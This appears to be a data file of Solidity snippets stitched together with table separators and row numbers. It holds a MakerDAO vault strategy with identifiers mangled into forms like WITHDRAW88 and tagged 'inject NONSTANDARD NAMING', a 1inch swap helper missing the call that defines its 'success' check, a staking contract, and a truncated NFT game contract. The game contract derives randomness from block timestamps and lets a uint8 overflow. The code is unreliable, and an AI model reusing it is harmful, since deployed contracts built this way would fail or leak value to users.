function BALANCEOF367(address) external view returns (uint256); //inject NONSTANDARD NAMING
function DEPOSITALL620() external; //inject NONSTANDARD NAMING
function WITHDRAW88(uint _shares) external; //inject NONSTANDARD NAMING
function WITHDRAWALL107() external; //inject NONSTANDARD NAMING
}
interface Controller {
function VAULTS407(address) external view returns (address); //inject NONSTANDARD NAMING
function STRATEGIES225(address) external view returns (address); //inject NONSTANDARD NAMING
function REWARDS983() external view returns (address); //inject NONSTANDARD NAMING
}
interface Strategy {
function WITHDRAWALFEE924() external view returns (uint); //inject NONSTANDARD NAMING
}
interface GemLike {
function APPROVE172(address, uint) external; //inject NONSTANDARD NAMING
function TRANSFER903(address, uint) external; //inject NONSTANDARD NAMING
function TRANSFERFROM529(address, address, uint) external; //inject NONSTANDARD NAMING
function DEPOSIT926() external payable; //inject NONSTANDARD NAMING
function WITHDRAW88(uint) external; //inject NONSTANDARD NAMING
}
interface ManagerLike {
function CDPCAN839(address, uint, address) external view returns (uint); //inject NONSTANDARD NAMING
function ILKS43(uint) external view returns (bytes32); //inject NONSTANDARD NAMING
function OWNS815(uint) external view returns (address); //inject NONSTANDARD NAMING
function URNS226(uint) external view returns (address); //inject NONSTANDARD NAMING
function VAT838() external view returns (address); //inject NONSTANDARD NAMING
function OPEN171(bytes32, address) external returns (uint); //inject NONSTANDARD NAMING
function GIVE370(uint, address) external; //inject NONSTANDARD NAMING
function CDPALLOW83(uint, address, uint) external; //inject NONSTANDARD NAMING
function URNALLOW976(address, uint) external; //inject NONSTANDARD NAMING
function FROB668(uint, int, int) external; //inject NONSTANDARD NAMING
function FLUX641(uint, address, uint) external; //inject NONSTANDARD NAMING
function MOVE446(uint, address, uint) external; //inject NONSTANDARD NAMING
function EXIT270(address, uint, address, uint) external; //inject NONSTANDARD NAMING
function QUIT464(uint, address) external; //inject NONSTANDARD NAMING
function ENTER426(address, uint) external; //inject NONSTANDARD NAMING
function SHIFT772(uint, uint) external; //inject NONSTANDARD NAMING
}
interface VatLike {
function CAN946(address, address) external view returns (uint); //inject NONSTANDARD NAMING
function ILKS43(bytes32) external view returns (uint, uint, uint, uint, uint); //inject NONSTANDARD NAMING
function DAI231(address) external view returns (uint); //inject NONSTANDARD NAMING
function URNS226(bytes32, address) external view returns (uint, uint); //inject NONSTANDARD NAMING
function FROB668(bytes32, address, address, address, int, int) external; //inject NONSTANDARD NAMING
function HOPE968(address) external; //inject NONSTANDARD NAMING
function MOVE446(address, address, uint) external; //inject NONSTANDARD NAMING
}
interface GemJoinLike {
function DEC260() external returns (uint); //inject NONSTANDARD NAMING
function GEM716() external returns (GemLike); //inject NONSTANDARD NAMING
function JOIN168(address, uint) external payable; //inject NONSTANDARD NAMING
function EXIT270(address, uint) external; //inject NONSTANDARD NAMING
}
interface GNTJoinLike {
function BAGS888(address) external view returns (address); //inject NONSTANDARD NAMING
function MAKE918(address) external returns (address); //inject NONSTANDARD NAMING
}
interface DaiJoinLike {
function VAT838() external returns (VatLike); //inject NONSTANDARD NAMING
function DAI231() external returns (GemLike); //inject NONSTANDARD NAMING
function JOIN168(address, uint) external payable; //inject NONSTANDARD NAMING
function EXIT270(address, uint) external; //inject NONSTANDARD NAMING
}
interface HopeLike {
function HOPE968(address) external; //inject NONSTANDARD NAMING
function NOPE673(address) external; //inject NONSTANDARD NAMING
}
interface EndLike {
function FIX740(bytes32) external view returns (uint); //inject NONSTANDARD NAMING
function CASH63(bytes32, uint) external; //inject NONSTANDARD NAMING
function FREE803(bytes32) external; //inject NONSTANDARD NAMING
function PACK489(uint) external; //inject NONSTANDARD NAMING
function SKIM635(bytes32, address) external; //inject NONSTANDARD NAMING
}
interface JugLike {
function DRIP111(bytes32) external returns (uint); //inject NONSTANDARD NAMING
}
interface PotLike {
function PIE0(address) external view returns (uint); //inject NONSTANDARD NAMING
function DRIP111() external returns (uint); //inject NONSTANDARD NAMING
function JOIN168(uint) external; //inject NONSTANDARD NAMING
function EXIT270(uint) external; //inject NONSTANDARD NAMING
}
interface SpotLike {
function ILKS43(bytes32) external view returns (address, uint); //inject NONSTANDARD NAMING
}
interface OSMedianizer {
function READ244() external view returns (uint, bool); //inject NONSTANDARD NAMING
function FORESIGHT875() external view returns (uint, bool); //inject NONSTANDARD NAMING
}
interface Uni {
function SWAPEXACTTOKENSFORTOKENS833(uint, uint, address[] calldata, address, uint) external; //inject NONSTANDARD NAMING
}
contract StrategyMKRVaultDAIDelegate {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
address constant public token24 = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); //inject NONSTANDARD NAMING
address constant public want613 = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); //inject NONSTANDARD NAMING
address constant public weth705 = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); //inject NONSTANDARD NAMING
address constant public dai951 = address(0x6B175474E89094C44Da98b954EedeAC495271d0F); //inject NONSTANDARD NAMING
address public cdp_manager = address(0x5ef30b9986345249bc32d8928B7ee64DE9435E39);
address public vat = address(0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B);
address public mcd_join_eth_a = address(0x2F0b23f53734252Bda2277357e97e1517d6B042A);
address public mcd_join_dai = address(0x9759A6Ac90977b93B58547b4A71c78317f391A28);
address public mcd_spot = address(0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3);
address public jug = address(0x19c0976f590D67707E62397C87829d896Dc0f1F1);
address constant public eth_price_oracle260 = address(0xCF63089A8aD2a9D8BD6Bb8022f3190EB7e1eD0f1); //inject NONSTANDARD NAMING
address constant public yvaultdai641 = address(0xACd43E627e64355f1861cEC6d3a6688B31a6F952); //inject NONSTANDARD NAMING
address constant public unirouter43 = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //inject NONSTANDARD NAMING
uint public c = 20000;
uint public c_safe = 40000;
uint constant public c_base986 = 10000; //inject NONSTANDARD NAMING
uint public performanceFee = 500;
uint constant public performancemax585 = 10000; //inject NONSTANDARD NAMING
uint public withdrawalFee = 50;
uint constant public withdrawalmax723 = 10000; //inject NONSTANDARD NAMING
bytes32 constant public ilk992 = "ETH-A"; //inject NONSTANDARD NAMING
address public governance;
address public controller;
address public strategist;
address public harvester;
uint public cdpId;
constructor(address _controller) public {
governance = msg.sender;
strategist = 0x2839df1F230dedA9fDDBF1BCB0D4eB1Ee1f7b7d0;
harvester = msg.sender;
controller = _controller;
cdpId = ManagerLike(cdp_manager).OPEN171(ilk992, address(this));
_APPROVEALL294();
}
function GETNAME375() external pure returns (string memory) { //inject NONSTANDARD NAMING
return "StrategyMKRVaultDAIDelegate";
}
function SETSTRATEGIST884(address _strategist) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
strategist = _strategist;
}
function SETHARVESTER998(address _harvester) external { //inject NONSTANDARD NAMING
require(msg.sender == harvester || msg.sender == governance, "!allowed");
harvester = _harvester;
}
function SETWITHDRAWALFEE880(uint _withdrawalFee) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
withdrawalFee = _withdrawalFee;
}
function SETPERFORMANCEFEE535(uint _performanceFee) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
performanceFee = _performanceFee;
}
function SETBORROWCOLLATERALIZATIONRATIO782(uint _c) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
c = _c;
}
function SETWITHDRAWCOLLATERALIZATIONRATIO286(uint _c_safe) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
c_safe = _c_safe;
}
// optional
function SETMCDVALUE234( //inject NONSTANDARD NAMING
address _manager,
address _ethAdapter,
address _daiAdapter,
address _spot,
address _jug
) external {
require(msg.sender == governance, "!governance");
cdp_manager = _manager;
vat = ManagerLike(_manager).VAT838();
mcd_join_eth_a = _ethAdapter;
mcd_join_dai = _daiAdapter;
mcd_spot = _spot;
jug = _jug;
}
function _APPROVEALL294() internal { //inject NONSTANDARD NAMING
IERC20(token24).APPROVE172(mcd_join_eth_a, uint(-1));
IERC20(dai951).APPROVE172(mcd_join_dai, uint(-1));
IERC20(dai951).APPROVE172(yvaultdai641, uint(-1));
IERC20(dai951).APPROVE172(unirouter43, uint(-1));
}
function DEPOSIT926() public { //inject NONSTANDARD NAMING
uint _token = IERC20(token24).BALANCEOF367(address(this));
if (_token > 0) {
uint p = _GETPRICE756();
uint _draw = _token.MUL745(p).MUL745(c_base986).DIV989(c).DIV989(1e18);
require(_CHECKDEBTCEILING877(_draw), "debt ceiling is reached!");
_LOCKWETHANDDRAWDAI745(_token, _draw);
yVault(yvaultdai641).DEPOSITALL620();
}
}
function _GETPRICE756() internal view returns (uint p) { //inject NONSTANDARD NAMING
(uint _read,) = OSMedianizer(eth_price_oracle260).READ244();
(uint _foresight,) = OSMedianizer(eth_price_oracle260).FORESIGHT875();
p = _foresight < _read ? _foresight : _read;
}
function _CHECKDEBTCEILING877(uint _amt) internal view returns (bool) { //inject NONSTANDARD NAMING
(,,,uint _line,) = VatLike(vat).ILKS43(ilk992);
uint _debt = GETTOTALDEBTAMOUNT152().ADD483(_amt);
if (_line.DIV989(1e27) < _debt) { return false; }
return true;
}
function _LOCKWETHANDDRAWDAI745(uint wad, uint wadD) internal { //inject NONSTANDARD NAMING
address urn = ManagerLike(cdp_manager).URNS226(cdpId);
GemJoinLike(mcd_join_eth_a).JOIN168(urn, wad);
ManagerLike(cdp_manager).FROB668(cdpId, TOINT917(wad), _GETDRAWDART399(urn, wadD));
ManagerLike(cdp_manager).MOVE446(cdpId, address(this), wadD.MUL745(1e27));
if (VatLike(vat).CAN946(address(this), address(mcd_join_dai)) == 0) {
VatLike(vat).HOPE968(mcd_join_dai);
}
DaiJoinLike(mcd_join_dai).EXIT270(address(this), wadD);
}
function _GETDRAWDART399(address urn, uint wad) internal returns (int dart) { //inject NONSTANDARD NAMING
uint rate = JugLike(jug).DRIP111(ilk992);
uint _dai = VatLike(vat).DAI231(urn);
// If there was already enough DAI in the vat balance, just exits it without adding more debt
if (_dai < wad.MUL745(1e27)) {
dart = TOINT917(wad.MUL745(1e27).SUB518(_dai).DIV989(rate));
dart = uint(dart).MUL745(rate) < wad.MUL745(1e27) ? dart + 1 : dart;
}
}
function TOINT917(uint x) internal pure returns (int y) { //inject NONSTANDARD NAMING
y = int(x);
require(y >= 0, "int-overflow");
}
// Controller only function for creating additional rewards from dust
function WITHDRAW88(IERC20 _asset) external returns (uint balance) { //inject NONSTANDARD NAMING
require(msg.sender == controller, "!controller");
require(want613 != address(_asset), "want");
require(dai951 != address(_asset), "dai");
balance = _asset.BALANCEOF367(address(this));
_asset.SAFETRANSFER392(controller, balance);
}
// Withdraw partial funds, normally used with a vault withdrawal
function WITHDRAW88(uint _amount) external { //inject NONSTANDARD NAMING
require(msg.sender == controller, "!controller");
uint _balance = IERC20(want613).BALANCEOF367(address(this));
if (_balance < _amount) {
_amount = _WITHDRAWSOME510(_amount.SUB518(_balance));
_amount = _amount.ADD483(_balance);
}
uint _fee = _amount.MUL745(withdrawalFee).DIV989(withdrawalmax723);
IERC20(want613).SAFETRANSFER392(Controller(controller).REWARDS983(), _fee);
address _vault = Controller(controller).VAULTS407(address(want613));
require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
IERC20(want613).SAFETRANSFER392(_vault, _amount.SUB518(_fee));
}
function SHOULDREBALANCE692() external view returns (bool) { //inject NONSTANDARD NAMING
return GETMVAULTRATIO318() < c_safe.MUL745(1e2);
}
function REBALANCE223() external { //inject NONSTANDARD NAMING
uint safe = c_safe.MUL745(1e2);
if (GETMVAULTRATIO318() < safe) {
uint d = GETTOTALDEBTAMOUNT152();
uint diff = safe.SUB518(GETMVAULTRATIO318());
uint free = d.MUL745(diff).DIV989(safe);
uint p = _GETPRICE756();
_WIPE82(_WITHDRAWDAI331(free.MUL745(p).DIV989(1e18)));
}
}
function FORCEREBALANCE268(uint _amount) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
uint p = _GETPRICE756();
_WIPE82(_WITHDRAWDAI331(_amount.MUL745(p).DIV989(1e18)));
}
function _WITHDRAWSOME510(uint256 _amount) internal returns (uint) { //inject NONSTANDARD NAMING
uint p = _GETPRICE756();
if (GETMVAULTRATIONEXT436(_amount) < c_safe.MUL745(1e2)) {
_WIPE82(_WITHDRAWDAI331(_amount.MUL745(p).DIV989(1e18)));
}
// _amount in want
_FREEWETH537(_amount);
return _amount;
}
function _FREEWETH537(uint wad) internal { //inject NONSTANDARD NAMING
ManagerLike(cdp_manager).FROB668(cdpId, -TOINT917(wad), 0);
ManagerLike(cdp_manager).FLUX641(cdpId, address(this), wad);
GemJoinLike(mcd_join_eth_a).EXIT270(address(this), wad);
}
function _WIPE82(uint wad) internal { //inject NONSTANDARD NAMING
// wad in DAI
address urn = ManagerLike(cdp_manager).URNS226(cdpId);
DaiJoinLike(mcd_join_dai).JOIN168(urn, wad);
ManagerLike(cdp_manager).FROB668(cdpId, 0, _GETWIPEDART74(VatLike(vat).DAI231(urn), urn));
}
function _GETWIPEDART74( //inject NONSTANDARD NAMING
uint _dai,
address urn
) internal view returns (int dart) {
(, uint rate,,,) = VatLike(vat).ILKS43(ilk992);
(, uint art) = VatLike(vat).URNS226(ilk992, urn);
dart = TOINT917(_dai / rate);
dart = uint(dart) <= art ? - dart : - TOINT917(art);
}
// Withdraw all funds, normally used when migrating strategies
function WITHDRAWALL107() external returns (uint balance) { //inject NONSTANDARD NAMING
require(msg.sender == controller, "!controller");
_WITHDRAWALL392();
_SWAP138(IERC20(dai951).BALANCEOF367(address(this)));
balance = IERC20(want613).BALANCEOF367(address(this));
address _vault = Controller(controller).VAULTS407(address(want613));
require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
IERC20(want613).SAFETRANSFER392(_vault, balance);
}
function _WITHDRAWALL392() internal { //inject NONSTANDARD NAMING
yVault(yvaultdai641).WITHDRAWALL107(); // get Dai
_WIPE82(GETTOTALDEBTAMOUNT152().ADD483(1)); // in case of edge case
_FREEWETH537(BALANCEOFMVAULT489());
}
function BALANCEOF367() public view returns (uint) { //inject NONSTANDARD NAMING
return BALANCEOFWANT874()
.ADD483(BALANCEOFMVAULT489());
}
function BALANCEOFWANT874() public view returns (uint) { //inject NONSTANDARD NAMING
return IERC20(want613).BALANCEOF367(address(this));
}
function BALANCEOFMVAULT489() public view returns (uint) { //inject NONSTANDARD NAMING
uint ink;
address urnHandler = ManagerLike(cdp_manager).URNS226(cdpId);
(ink,) = VatLike(vat).URNS226(ilk992, urnHandler);
return ink;
}
function HARVEST338() public { //inject NONSTANDARD NAMING
require(msg.sender == strategist || msg.sender == harvester || msg.sender == governance, "!authorized");
uint v = GETUNDERLYINGDAI934(yVault(yvaultdai641).BALANCEOF367(address(this)));
uint d = GETTOTALDEBTAMOUNT152();
require(v > d, "profit is not realized yet!");
uint profit = v.SUB518(d);
_SWAP138(_WITHDRAWDAI331(profit));
uint _want = IERC20(want613).BALANCEOF367(address(this));
if (_want > 0) {
uint _fee = _want.MUL745(performanceFee).DIV989(performancemax585);
IERC20(want613).SAFETRANSFER392(strategist, _fee);
_want = _want.SUB518(_fee);
}
DEPOSIT926();
}
function PAYBACK925(uint _amount) public { //inject NONSTANDARD NAMING
// _amount in Dai
_WIPE82(_WITHDRAWDAI331(_amount));
}
function GETTOTALDEBTAMOUNT152() public view returns (uint) { //inject NONSTANDARD NAMING
uint art;
uint rate;
address urnHandler = ManagerLike(cdp_manager).URNS226(cdpId);
(,art) = VatLike(vat).URNS226(ilk992, urnHandler);
(,rate,,,) = VatLike(vat).ILKS43(ilk992);
return art.MUL745(rate).DIV989(1e27);
}
function GETMVAULTRATIONEXT436(uint amount) public view returns (uint) { //inject NONSTANDARD NAMING
uint spot; // ray
uint liquidationRatio; // ray
uint denominator = GETTOTALDEBTAMOUNT152();
(,,spot,,) = VatLike(vat).ILKS43(ilk992);
(,liquidationRatio) = SpotLike(mcd_spot).ILKS43(ilk992);
uint delayedCPrice = spot.MUL745(liquidationRatio).DIV989(1e27); // ray
uint numerator = (BALANCEOFMVAULT489().SUB518(amount)).MUL745(delayedCPrice).DIV989(1e18); // ray
return numerator.DIV989(denominator).DIV989(1e3);
}
function GETMVAULTRATIO318() public view returns (uint) { //inject NONSTANDARD NAMING
uint spot; // ray
uint liquidationRatio; // ray
uint denominator = GETTOTALDEBTAMOUNT152();
(,,spot,,) = VatLike(vat).ILKS43(ilk992);
(,liquidationRatio) = SpotLike(mcd_spot).ILKS43(ilk992);
uint delayedCPrice = spot.MUL745(liquidationRatio).DIV989(1e27); // ray
uint numerator = BALANCEOFMVAULT489().MUL745(delayedCPrice).DIV989(1e18); // ray
return numerator.DIV989(denominator).DIV989(1e3);
}
function GETUNDERLYINGWITHDRAWALFEE628() public view returns (uint) { //inject NONSTANDARD NAMING
address _strategy = Controller(controller).STRATEGIES225(dai951);
return Strategy(_strategy).WITHDRAWALFEE924();
}
function GETUNDERLYINGDAI934(uint _shares) public view returns (uint) { //inject NONSTANDARD NAMING
return (yVault(yvaultdai641).BALANCE390())
.MUL745(_shares).DIV989(yVault(yvaultdai641).TOTALSUPPLY3())
.MUL745(withdrawalmax723.SUB518(GETUNDERLYINGWITHDRAWALFEE628()))
.DIV989(withdrawalmax723);
}
function _WITHDRAWDAI331(uint _amount) internal returns (uint) { //inject NONSTANDARD NAMING
uint _shares = _amount
.MUL745(yVault(yvaultdai641).TOTALSUPPLY3())
.DIV989(yVault(yvaultdai641).BALANCE390())
.MUL745(withdrawalmax723)
.DIV989(withdrawalmax723.SUB518(GETUNDERLYINGWITHDRAWALFEE628()));
yVault(yvaultdai641).WITHDRAW88(_shares);
return IERC20(dai951).BALANCEOF367(address(this));
}
function _SWAP138(uint _amountIn) internal { //inject NONSTANDARD NAMING
address[] memory path = new address[](2);
path[0] = address(dai951);
path[1] = address(want613);
Uni(unirouter43).SWAPEXACTTOKENSFORTOKENS833(_amountIn, 0, path, address(this), now.ADD483(1 days));
}
function SETGOVERNANCE389(address _governance) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
governance = _governance;
}
function SETCONTROLLER804(address _controller) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
controller = _controller;
}
}
|
inject NONSTANDARD NAMING
|
function READ244() external view returns (uint, bool);
| 12,996,859 |
./full_match/10/0x6604de3C9E7D511894d05939EE0f7538965be066/sources/contracts/KtbArbitrageur.sol
|
CA_OSF: 1inch Swap Fail, for instance, due to slippage
|
function _swapOnOneInch(
address tokenIn,
address tokenOut,
uint256 amountIn,
bytes calldata oneInchTxData
) internal returns (uint256) {
IERC20(tokenIn).approve(_oneInchAggregationRouterV5, amountIn);
uint256 tokenOutBalanceBefore = IERC20(tokenOut).balanceOf(address(this));
if (!success) {
revert("CA_OSF");
}
uint256 returnAmount = IERC20(tokenOut).balanceOf(address(this)).sub(tokenOutBalanceBefore);
return returnAmount;
}
| 3,779,365 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/Math.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "./utils/OwnablePausable.sol";
contract Staking is OwnablePausable, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
/// @notice Address of rewards distributor.
address public rewardsDistribution;
/// @notice Rewards token address.
IERC20 public rewardsToken;
/// @notice Staking token address.
IERC20 public stakingToken;
/// @notice Block number of rewards distibution period finish.
uint256 public periodFinish;
/// @notice Reward distribution amount per block.
uint256 public rewardRate;
/// @notice Blocks count in current distribution period.
uint256 public rewardsDuration;
/// @notice Block number of last update.
uint256 public lastUpdateBlock;
/// @notice Static reward distribution amount per block.
uint256 public rewardPerTokenStored;
/// @notice Staking completion block number.
uint256 public stakingEndBlock;
/// @notice Unstaking start block number.
uint256 public unstakingStartBlock;
/// @notice Rewards paid.
mapping(address => uint256) public userRewardPerTokenPaid;
/// @notice Earned rewards.
mapping(address => uint256) public rewards;
/// @dev Total staking token amount.
uint256 internal _totalSupply;
/// @dev Staking balances.
mapping(address => uint256) internal _balances;
/// @notice An event thats emitted when an reward token addet to contract.
event RewardAdded(uint256 reward);
/// @notice An event thats emitted when an staking token added to contract.
event Staked(address indexed user, uint256 amount);
/// @notice An event thats emitted when an staking token withdrawal from contract.
event Withdrawn(address indexed user, uint256 amount);
/// @notice An event thats emitted when an reward token withdrawal from contract.
event RewardPaid(address indexed user, uint256 reward);
/// @notice An event thats emitted when an rewards distribution address changed.
event RewardsDistributionChanged(address newRewardsDistribution);
/// @notice An event thats emitted when an rewards tokens transfered to recipient.
event RewardsTransfered(address recipient, uint256 amount);
/// @notice An event thats emitted when an staking end block number changed.
event StakingEndBlockChanged(uint256 newBlockNumber);
/// @notice An event thats emitted when an unstaking start block number changed.
event UnstakingStartBlockChanged(uint256 newBlockNumber);
/**
* @param _rewardsDistribution Rewards distribution address.
* @param _rewardsDuration Duration of distribution.
* @param _rewardsToken Address of reward token.
* @param _stakingToken Address of staking token.
*/
constructor(
address _rewardsDistribution,
uint256 _rewardsDuration,
address _rewardsToken,
address _stakingToken,
uint256 _stakingEndBlock,
uint256 _unstakingStartBlock
) public {
rewardsDistribution = _rewardsDistribution;
rewardsDuration = _rewardsDuration;
rewardsToken = IERC20(_rewardsToken);
stakingToken = IERC20(_stakingToken);
stakingEndBlock = _stakingEndBlock;
unstakingStartBlock = _unstakingStartBlock;
}
/**
* @notice Update target account rewards state.
* @param account Target account.
*/
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateBlock = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
/**
* @return Total staking token amount.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @param account Target account.
* @return Staking token amount.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @return Block number of last reward.
*/
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.number, periodFinish);
}
/**
* @return Reward per token.
*/
function rewardPerToken() public view returns (uint256) {
if (_totalSupply == 0) {
return rewardPerTokenStored;
}
return rewardPerTokenStored.add(lastTimeRewardApplicable().sub(lastUpdateBlock).mul(rewardRate).mul(1e18).div(_totalSupply));
}
/**
* @param account Target account.
* @return Earned rewards.
*/
function earned(address account) public view returns (uint256) {
return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]);
}
/**
* @return Rewards amount for duration.
*/
function getRewardForDuration() external view returns (uint256) {
return rewardRate.mul(rewardsDuration);
}
/**
* @notice Stake token.
* @param amount Amount staking token.
*/
function stake(uint256 amount) external nonReentrant updateReward(_msgSender()) {
require(amount > 0, "Staking::stake: cannot stake 0");
if (stakingEndBlock > 0) {
require(block.number < stakingEndBlock, "Staking:stake: staking completed");
}
_totalSupply = _totalSupply.add(amount);
_balances[_msgSender()] = _balances[_msgSender()].add(amount);
stakingToken.safeTransferFrom(_msgSender(), address(this), amount);
emit Staked(_msgSender(), amount);
}
/**
* @notice Withdraw staking token.
* @param amount Amount withdraw token.
*/
function withdraw(uint256 amount) public nonReentrant updateReward(_msgSender()) {
require(amount > 0, "Staking::withdraw: Cannot withdraw 0");
require(block.number >= unstakingStartBlock, "Staking:withdraw: unstaking not started");
_totalSupply = _totalSupply.sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].sub(amount);
stakingToken.safeTransfer(_msgSender(), amount);
emit Withdrawn(_msgSender(), amount);
}
/**
* @notice Withdraw reward token.
*/
function getReward() public nonReentrant updateReward(_msgSender()) {
uint256 reward = rewards[_msgSender()];
if (reward > 0) {
rewards[_msgSender()] = 0;
rewardsToken.safeTransfer(_msgSender(), reward);
emit RewardPaid(_msgSender(), reward);
}
}
/**
* @notice Withdraw reward and staking token.
*/
function exit() external {
withdraw(_balances[_msgSender()]);
getReward();
}
/**
* @notice Change rewards distribution address.
* @param _rewardDistribution New rewards distribution address.
*/
function changeRewardsDistribution(address _rewardDistribution) external onlyOwner {
rewardsDistribution = _rewardDistribution;
emit RewardsDistributionChanged(rewardsDistribution);
}
/**
* @notice Transfer rewards token to recipient if distribution not start.
* @param recipient Recipient.
* @param amount Amount transfered rewards token.
*/
function transfer(address recipient, uint256 amount) external onlyOwner {
require(block.number >= periodFinish, "Staking::transfer: distribution not ended");
rewardsToken.safeTransfer(recipient, amount);
emit RewardsTransfered(recipient, amount);
}
/**
* @notice Change staking end block number.
* @param _stakingEndBlock New staking end block number.
*/
function changeStakingEndBlock(uint256 _stakingEndBlock) external onlyOwner {
stakingEndBlock = _stakingEndBlock;
emit StakingEndBlockChanged(stakingEndBlock);
}
/**
* @notice Change unstaking start block number.
* @param _unstakingStartBlock New unstaking start block number.
*/
function changeUnstakingStartBlock(uint256 _unstakingStartBlock) external onlyOwner {
unstakingStartBlock = _unstakingStartBlock;
emit UnstakingStartBlockChanged(unstakingStartBlock);
}
/**
* @notice Start distribution.
* @param reward Distributed rewards amount.
*/
function notifyRewardAmount(uint256 reward) external updateReward(address(0)) {
require(_msgSender() == rewardsDistribution || _msgSender() == owner(), "Staking::notifyRewardAmount: caller is not RewardsDistribution or Owner address");
if (block.number >= periodFinish) {
rewardRate = reward.div(rewardsDuration);
} else {
uint256 remaining = periodFinish.sub(block.number);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(rewardsDuration);
}
uint256 balance = rewardsToken.balanceOf(address(this));
require(rewardRate <= balance.div(rewardsDuration), "Staking::notifyRewardAmount: provided reward too high");
lastUpdateBlock = block.number;
periodFinish = block.number.add(rewardsDuration);
emit RewardAdded(reward);
}
}
|
Change rewards distribution address. _rewardDistribution New rewards distribution address./
|
function changeRewardsDistribution(address _rewardDistribution) external onlyOwner {
rewardsDistribution = _rewardDistribution;
emit RewardsDistributionChanged(rewardsDistribution);
}
| 5,544,351 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// Importación de los Smart Contract: ERC721.sol y Ownable.sol
import "../node_modules/@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "../node_modules/@openzeppelin/contracts/access/Ownable.sol";
import "../node_modules/@openzeppelin/contracts/utils/math/SafeMath.sol";
// Creación del Smart Contract para el Videojuego NFT
contract LipToken is ERC721, Ownable {
// Constructor de mi Smart Contract
constructor (string memory _name, string memory _symbol)
ERC721(_name, _symbol) {}
// ============================================
// Declaraciones iniciales
// Contador de tokens NFT
uint256 COUNTER;
// Fijación en el precio de los Tokens NFT
uint256 fee = 0.001 ether;
string sex;
uint level;
uint cant;
// Estructura de datos con las propiedades del lip (labio)
struct Lip {
string name;
uint256 id;
uint256 dna;
uint level;
uint8 rarity;
string sex;
uint vida;
uint habil;
uint fuerza;
uint defenza;
uint poder;
}
// Estructura de almacenamiento
Lip [] public lips;
// Declaración de un evento
event NewLip(address indexed owner, uint256 id, uint256 dna);
// ============================================
// Funciones de ayuda
// Asignación de un número aleatorio
function _createRandomNum(uint256 _mod) internal view returns (uint256) {
uint256 randomNum = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender)));
return randomNum % _mod;
}
// Actualización del precio del Token NFT
function updateFee(uint256 _fee) external onlyOwner {
fee = _fee;
}
// Extracción de los ethers del Smart Contract hacia el Owner
function withdraw() external payable onlyOwner {
address payable _owner = payable(owner());
_owner.transfer(address(this).balance);
}
// Creación del Token NFT (AniMons)
function _createLip(string memory _name, uint _cant) internal {
cant = _cant;
uint randDna = _createRandomNum(10**16);
uint8 randRarity = uint8(_createRandomNum(100));
uint sexo = _createRandomNum(33*33);
uint256 vida = block.timestamp/100000000;
for (uint256 i = 0; i <= cant; i++){
vida = vida*7;
randDna = randDna *35;
randRarity = randRarity*3;
//uint256 randomNum2 = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender)));
if(level == 0){level=1;}
if (sexo % 2 == 0) {sex="F";} else {sex="M";}
uint habil = 5;
uint fuerza = 5;
uint defenza = 5;
uint poder = 5;
//uint256 vida = randomNum2/100000000;
Lip memory newLip = Lip(_name, COUNTER, randDna, level, randRarity, sex, vida, habil, fuerza, defenza, poder);
lips.push(newLip);
_safeMint(msg.sender, COUNTER);
emit NewLip(msg.sender, COUNTER, randDna);
vida = vida /15;
randDna = randDna /25;
randDna= randDna * 7;
COUNTER++;
randRarity = randRarity /10;
randRarity = randRarity /5;
}
}
// ============================================
// Creación de un labio aleatorio
function createRandomLip(string memory _name, uint _cant) public payable {
require(msg.value >= fee);
_createLip(_name, _cant);
}
// Obtención de todos los lips (labios)
function getLips() public view returns (Lip [] memory) {
return lips;
}
// Visualizar el balance del Smart Contract
function moneySmartContract() public view returns (uint256){
return address(this).balance;
}
// Visualizar la dirección del Smart Contract
function addressSmartContract() public view returns (address) {
return address(this);
}
// Obtención de los tokens NFT usuario
function getOwnerLips(address _owner) public view returns (Lip [] memory) {
Lip [] memory result = new Lip [] (balanceOf(_owner));
uint256 counter = 0;
for (uint256 i = 0; i <lips.length; i++) {
if (ownerOf(i) == _owner) {
result[counter] = lips[i];
counter++;
}
}
return result;
}
// Subir de nivel los tokens NFT
function levelUp(uint256 _lipId) public payable {
require(ownerOf(_lipId) == msg.sender);
require(msg.value >= fee);
Lip storage lip = lips[_lipId];
lip.level++;
}
// Subir Vida los tokens NFT
function vidaUp(uint256 _lipId) public payable {
require(ownerOf(_lipId) == msg.sender);
require(msg.value >= fee);
Lip storage lip = lips[_lipId];
uint auvi;
auvi = 15;
lip.vida = lip.vida + auvi;
}
// Subir habilidad los tokens NFT
